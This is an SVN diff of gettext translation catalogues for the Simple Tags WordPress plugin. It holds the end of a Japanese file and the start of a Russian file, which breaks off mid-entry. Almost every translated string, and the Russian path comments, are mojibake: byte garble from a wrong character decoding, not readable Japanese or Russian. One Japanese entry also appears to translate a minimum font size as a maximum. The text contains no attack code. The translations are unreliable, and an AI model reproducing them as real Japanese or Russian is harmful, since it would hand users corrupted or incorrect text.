+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2283
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1658
+#: WP.org\trunk/extras/simple-tags.importer.php:249
+msgid "Embedded Tags"
+msgstr "åãèŸŒã¿ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2286
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1661
+msgid "Tags for Current Post"
+msgstr "æçš¿å
+ã§ã®ã¿ã°è¡šç€º"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2289
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1664
+msgid "Related Posts"
+msgstr "é¢é£æçš¿"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2292
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1667
+msgid "Related Tags"
+msgstr "é¢é£ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.admin.php:2295
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1670
+msgid "Tag cloud"
+msgstr "ã¿ã°ã¯ã©ãŠã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:143
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:133
+msgid "Empty field will use default value."
+msgstr "ç©ºçœã®æ¬ã§ã¯ããã©ã«ãã®å€ãäœ¿çšãããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:146
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:136
+msgid "Title:"
+msgstr "ã¿ã€ãã«:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:151
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:141
+msgid "Max tags to display: (default: 45)"
+msgstr "è¡šç€ºããã¿ã°ã®æ°: (ããã©ã«ã: 45)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:156
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:146
+msgid "Tags selection:"
+msgstr "è¡šç€ºã¿ã°ã®éžæ:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:159
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:170
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:149
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:160
+msgid "Inverse Alphabetical"
+msgstr "ã¢ã«ãã¡ãããéé "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:160
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:150
+msgid "Most popular (default)"
+msgstr "äœ¿ãããŠããé  (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:162
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:152
+msgid "Random"
+msgstr "ã©ã³ãã "
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:173
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:163
+msgid "Random (default)"
+msgstr "ã©ã³ãã  (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:178
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:168
+msgid "Font size mini: (default: 8)"
+msgstr "æå€§ãã©ã³ããµã€ãº: (ããã©ã«ã: 8)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:183
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:173
+msgid "Font size max: (default: 22)"
+msgstr "ãã©ã³ãã®æå€§ãµã€ãº: (ããã©ã«ã: 22)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:188
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:178
+msgid "Unit font size:"
+msgstr "ãã©ã³ããµã€ãºã®åäœ:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:190
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:180
+msgid "Point (default)"
+msgstr "ãã€ã³ã (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:191
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:181
+msgid "Pixel"
+msgstr "ãã¯ã»ã«"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:192
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:182
+msgid "Em"
+msgstr "em"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:193
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:183
+msgid "Pourcent"
+msgstr "ããŒã»ã³ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:198
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:188
+msgid "Format:"
+msgstr "ãã©ãŒããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:200
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:190
+msgid "Flat (default)"
+msgstr "ãã©ãã (ããã©ã«ã)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:201
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:191
+msgid "List (UL/LI)"
+msgstr "ãªã¹ã (UL/LI)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:207
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:197
+msgid "Use auto color cloud:"
+msgstr "ã¯ã©ãŠããèªåçã«è²ä»ããã:"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:211
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:201
+msgid "Font color mini: (default: #CCCCCC)"
+msgstr "æå°ãã©ã³ãè²: (ããã©ã«ã: #CCCCCC)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:216
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:206
+msgid "Font color max: (default: #000000)"
+msgstr "æå€§ãã©ã³ãè²: (ããã©ã«ã: #000000)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:221
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:211
+msgid "Extended format: (advanced usage)"
+msgstr "æ¡åŒµãã©ãŒããã: (é«åºŠãªçšæ³)"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:252
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:242
+msgid "Tag Cloud Widgets"
+msgstr "ã¿ã°ã¯ã©ãŠããŠã£ãžã§ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:253
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:243
+msgid "How many tag cloud widgets would you like?"
+msgstr "ã¿ã°ã¯ã©ãŠããŠã£ãžã§ããã¯ããã€å¿
+èŠã§ãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:257
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:247
+msgid "Save"
+msgstr "ä¿å­"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:274
+#: WP.org\trunk/2.3/inc/simple-tags.widgets.php:275
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:265
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:266
+#, php-format
+msgid "Extended Tag Cloud %d"
+msgstr "æ¡åŒµã¿ã°ã¯ã©ãŠã %d"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/simple-tags.client.php:111
+msgid "No tags for this post."
+msgstr "ãã®æçš¿ã«ã¿ã°ã¯ãããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/simple-tags.client.php:123
+msgid "No related tags found."
+msgstr "é¢é£ã¿ã°ãèŠã€ãããŸããã§ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:217
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:516
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:569
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:813
+msgid "Visit the <a href=\"http://code.google.com/p/simple-tags/\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "è©³ããæ
+å ±ã¯ <a href=\"http://code.google.com/p/simple-tags/\">ãã©ã°ã€ã³ã®ããŒã ããŒãž</a> ãåç
+§ããŠãã ããããã°ãèŠã€ããå ŽåããŸãããã®ãã©ã°ã€ã³ã®ããã®ãã°ãããã¢ã€ãã£ã¢ããæã¡ã®æ¹ã¯ <a href=\"mailto:amaury@wordpress-fr.net\">ç§ã«ãç¥ãããã ãã</a> !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:224
+msgid "Options"
+msgstr "èš­å®"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:228
+msgid "Activation"
+msgstr "ã¢ã¯ãã£ããŒã·ã§ã³"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:235
+msgid "Tags database"
+msgstr "ã¿ã°ããŒã¿ããŒã¹"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:242
+msgid "Target"
+msgstr "ã¿ãŒã²ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:249
+msgid "Keywords list"
+msgstr "ã­ãŒã¯ãŒããªã¹ã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:252
+msgid "Separated with a comma"
+msgstr "ã«ã³ãã§åºåã£ãŠãã ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:258
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:519
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:542
+msgid "Update options &raquo;"
+msgstr "èš­å®ãæŽæ°ãã &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:262
+msgid "Auto tags all content &raquo;"
+msgstr "ãã¹ãŠã®ã³ã³ãã³ãã«èªåã¿ã°ä»ããå®è¡ãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:310
+msgid "Active tags for page:"
+msgstr "ããŒãžã§äœ¿çšäž­ã®ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:311
+msgid "This feature allow page to be tagged. This option add pages in tags search. Also this feature add tag management in write page."
+msgstr "ããã¯ããŒãžãžã®ã¿ã°ä»ããå¯èœã«ããŸãããã®ãªãã·ã§ã³ã¯ã¿ã°æ€çŽ¢ã«ããŒãžãè¿œå ããŸãããŸããããŒãžã®ã¿ã°ç®¡çãè¿œå ããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:333
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines.<br /><strong>Warning:</strong> If the plugin \"All in One SEO Pack\" is installed and enabled. This feature is automatically disabled."
+msgstr "ã¡ã¿ã­ãŒã¯ãŒãã¿ã°ãããããŒã«èªåçã«å«ããŸã (ãã¹ãŠã§ã¯ãããŸãããããããŠãã®ããŒãã§ãµããŒãããŠããŸã)ããããã®ã­ãŒã¯ãŒãã¯æ€çŽ¢ãšã³ãžã³ã«äœ¿çšãããããšããããŸãã<br /><strong>æ³šæ:</strong> \"All in One SEO Pack\" ãã©ã°ã€ã³ãã€ã³ã¹ããŒã«ãããŠæå¹åãããŠãããšããã®æ©èœã¯èªåçã«ç¡å¹ã«ãªããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:568
+msgid "Advanced tags management"
+msgstr "æ¡åŒµã¿ã°ç®¡ç"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:575
+msgid "WordPress 2.3 have a small bug and can create empty terms."
+msgstr "WordPress 2.3ã¯å°ããªãã°ãæã£ãŠãããç©ºçœã®æå­ãäœæãããŠããŸããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:575
+msgid "Clean it !"
+msgstr "åãé€ã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:609
+msgid "Published"
+msgstr "å
+¬éããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:609
+msgid "Published posts"
+msgstr "æçš¿ãå
+¬éããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:610
+msgid "Scheduled"
+msgstr "äºçŽããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:610
+msgid "Scheduled posts"
+msgstr "æçš¿ãäºçŽããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:611
+msgid "Pending Review"
+msgstr "èª¿æ»äž­"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:611
+msgid "Pending posts"
+msgstr "æçš¿åŸ
+ã¡"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:612
+msgid "Draft"
+msgstr "äžæžã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:612
+msgid "Drafts|manage posts header"
+msgstr "äžæžã|ç®¡ç æçš¿ããããŒ"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:613
+msgid "Private"
+msgstr "ãã©ã€ããŒã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:613
+msgid "Private posts"
+msgstr "ãã©ã€ããŒãæçš¿"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:660
+msgid "Mass edit tags"
+msgstr "ã¿ã°ã®äžæ¬ç·šé"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:667
+msgid "All Posts"
+msgstr "å
+šãŠã®æçš¿"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:688
+msgid "All Pages"
+msgstr "å
+šãŠã®ããŒãž"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:697
+msgid "Search Posts"
+msgstr "æçš¿ã®æ€çŽ¢"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:729
+msgid "Show all dates"
+msgstr "å
+šãŠã®æ¥ä»ãè¡šç€º"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:749
+msgid "View all categories"
+msgstr "å
+šãŠã®ã«ããŽãªãèŠã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:762
+msgid "Filter"
+msgstr "ãã£ã«ã¿ãŒ"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:792
+msgid "Update all &raquo;"
+msgstr "å
+šãŠæŽæ° &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:999
+#: WP.org\trunk/2.5/inc/simple-tags.admin.php:1014
+msgid "Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>"
+msgstr "ã¿ã° <small>(è€æ°ã®ã¿ã°ã¯ã³ã³ãã§åºåã£ãŠãã ãããäŸ: cats, pet food, dogs)</small>"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/2.5/inc/simple-tags.widgets.php:255
+msgid "Your most used tags in cloud format with dynamic color and many options"
+msgstr "ã¿ã°ã¯ã©ãŠãã§ãäœ¿çšã®å€ãã¿ã°ã®è¡šç€ºèš­å®"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:64
+msgid "Import Embedded Tags"
+msgstr "åãèŸŒã¿ã¿ã°ã®ã€ã³ããŒã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:65
+msgid "Steps may take a few minutes depending on the size of your database. Please be patient."
+msgstr "ãã®äœæ¥­ã¯ããªãã®ããŒã¿ããŒã¹ã®å€§ããã«ãã£ãŠã¯æ°åãããããšããããŸãã®ã§ããããããåŸ
+ã¡ãã ããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:66
+msgid "Visit the <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">plugin's homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href=\"mailto:amaury@wordpress-fr.net\">ask me</a> !"
+msgstr "è©³ããæ
+å ±ã¯ <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags\">ãã©ã°ã€ã³ã®ããŒã ããŒãž</a> ãåç
+§ããŠãã ããããã°ãèŠã€ããå ŽåããŸãããã®ãã©ã°ã€ã³ã®ããã®ãã°ãããã¢ã€ãã£ã¢ããæã¡ã®æ¹ã¯ <a href=\"mailto:amaury@wordpress-fr.net\">ç§ã«ãç¥ãããã ãã</a> !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:75
+msgid "Howdy! This imports tags from embedded tags into this blog using the new WordPress native tagging structure."
+msgstr "ããã«ã¡ã¯ ! ãã®ã€ã³ããŒã¿ãŒã¯åãèŸŒã¿ã¿ã°ã WordPress æ¬äœã®ã¿ã°æ§é ã«ã€ã³ããŒãããŸãã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:76
+msgid "To accommodate larger databases for those tag-crazy authors out there, we have made this into an easy 4-step program to help you kick that nasty Embedded Tags habit. Just keep clicking along and we will let you know when you are in the clear!"
+msgstr "ã¿ã°å€§å¥œãæçš¿è
+ã®ã¿ãªããã«ããå€§ããªããŒã¿ããŒã¹ãæäŸããããããã®åŠçãç°¡åãª 4 åã®ã¹ãããã®ãã­ã°ã©ã ã«ããŠåãèŸŒã¿ã¿ã°ã®æªç¿ãæ­ã€ãæäŒããããŸããæç€ºã«åŸã£ãŠã¯ãªãã¯ãç¶ããŠãã ãããããªããèªç±ã®èº«ã«ãªã£ãããç¥ããããŸã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:77
+msgid "Don&#8217;t be stupid - backup your database before proceeding!"
+msgstr "æ³šæ - å
+ã«é²ãåã«å¿
+ãããŒã¿ããŒã¹ãããã¯ã¢ããããŠãã ãã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:79
+msgid "Step 1 &raquo;"
+msgstr "ã¹ããã 1 &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:102
+msgid "Missing parameters in URL. (Start or End)"
+msgstr "éå§ã¿ã°ãããã¯çµäºã¿ã°ããããŸããã"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:114
+msgid "Configure and add tags to posts&#8230;"
+msgstr "èš­å®ãšæçš¿ãžã®ã¿ã°ã®è¿œå &#8230;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:121
+msgid "Start marker"
+msgstr "éå§ã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:124
+msgid "End marker"
+msgstr "çµäºã¿ã°"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:127
+msgid "Delete embedded tags once imported ?"
+msgstr "ã€ã³ããŒãåŸãåãèŸŒã¿ã¿ã°ãåé€ããŸãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:129
+msgid "Import also embedded tags from page ?"
+msgstr "ããŒãžã®åãèŸŒã¿ã¿ã°ãã€ã³ããŒãããŸãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:132
+msgid "Start import &raquo;"
+msgstr "ã€ã³ããŒããéå§ãã &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:187
+msgid "Done!"
+msgstr "å®äº !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:189
+msgid "Step 2 &raquo;"
+msgstr "ã¹ããã 2 &raquo;"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:206
+msgid "Import Complete!"
+msgstr "ã€ã³ããŒãå®äº !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:207
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "4 åã®ã¹ãããã®ãã­ã°ã©ã ããããšãã£ãã®ã¯ãŠãœã§ãã ! ä»¥äžã§å®äºã§ã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:208
+msgid "Now wasn&#8217;t that easy?"
+msgstr "ç°¡åã ã£ãã§ãã ?"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:209
+msgid "You can manage tags now !"
+msgstr "ä»ããã¿ã°ãç®¡çã§ããŸã !"
+
+#: D:\SVN\Plugins\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:249
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "åãèŸŒã¿ã¿ã°ã WordPress æ¬äœã®æ°ããã¿ã°æ§é ã«ã€ã³ããŒãããŸãã"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-ru_RU.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-ru_RU.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/languages/simpletags-ru_RU.po	(revision 44)
@@ -0,0 +1,1864 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Simple Tags 1.5.1 for WP2.3 & WP2.5\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-04-01 20:19+0600\n"
+"PO-Revision-Date: 2008-04-01 20:39+0600\n"
+"Last-Translator: Kalinin Ivan <lecactus@lecactus.ru>\n"
+"Language-Team: Lecactus <lecactus@lecactus.ru>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Russian\n"
+"X-Poedit-Country: RUSSIAN FEDERATION\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: X:\\web\\ÐÐŸÐŽÐžÑÐžÐºÐ°ÑÐžÐž\\wordpress\\tags\\simple-tags-wp23-wp25\\simple-tags\n"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/simple-tags.php:40
+msgid "Simple Tags can't work with this WordPress version !"
+msgstr "Simple Tags ÐœÐµ ÐŒÐŸÐ¶ÐµÑ ÑÐ°Ð±ÐŸÑÐ°ÑÑ Ñ ÑÑÐŸÐ¹ Ð²ÐµÑÑÐžÐµÐ¹ WordPress !"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/simple-tags.php:40
+#, php-format
+msgid "You must use <a href=\"%1$s\">Simple Tagging Plugin</a> for it to work."
+msgstr "ÐÑ ÐŽÐŸÐ»Ð¶ÐœÑ ÐžÑÐ¿ÐŸÐ»ÑÐ·ÐŸÐ²Ð°ÑÑ <a href=\"%1$s\">ÐÐ»Ð°Ð³ÐžÐœ Simple Tagging</a>."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:87
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:556
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:86
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:551
+msgid "No related posts."
+msgstr "ÐÐµÑ ÑÐ²ÑÐ·Ð°ÐœÐœÑÑ
+ Ð·Ð°Ð¿ÐžÑÐµÐ¹."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:88
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:555
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:87
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:550
+msgid "<h4>Related posts</h4>"
+msgstr "<h4>Ð¡Ð²ÑÐ·Ð°ÐœÐœÑÐµ Ð·Ð°Ð¿ÐžÑÐž</h4>"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:89
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:558
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:88
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:553
+msgid "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+msgstr "<a href=\"%post_permalink%\" title=\"%post_title% (%post_date%)\">%post_title%</a> (%post_comment%)"
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:95
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1223
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:94
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:1250
+msgid "No tags."
+msgstr "ÐÐµÑ ÐŒÐµÑÐŸÐº."
+
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:96
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.3/simple-tags.client.php:1225
+#: X:\web\ÃÃ®Ã€ÃšÃŽÃšÃªÃ Ã¶ÃšÃš\wordpress\tags\simple-tags-wp23-wp25\simple-tags/2.5/simple-tags.client.php:95
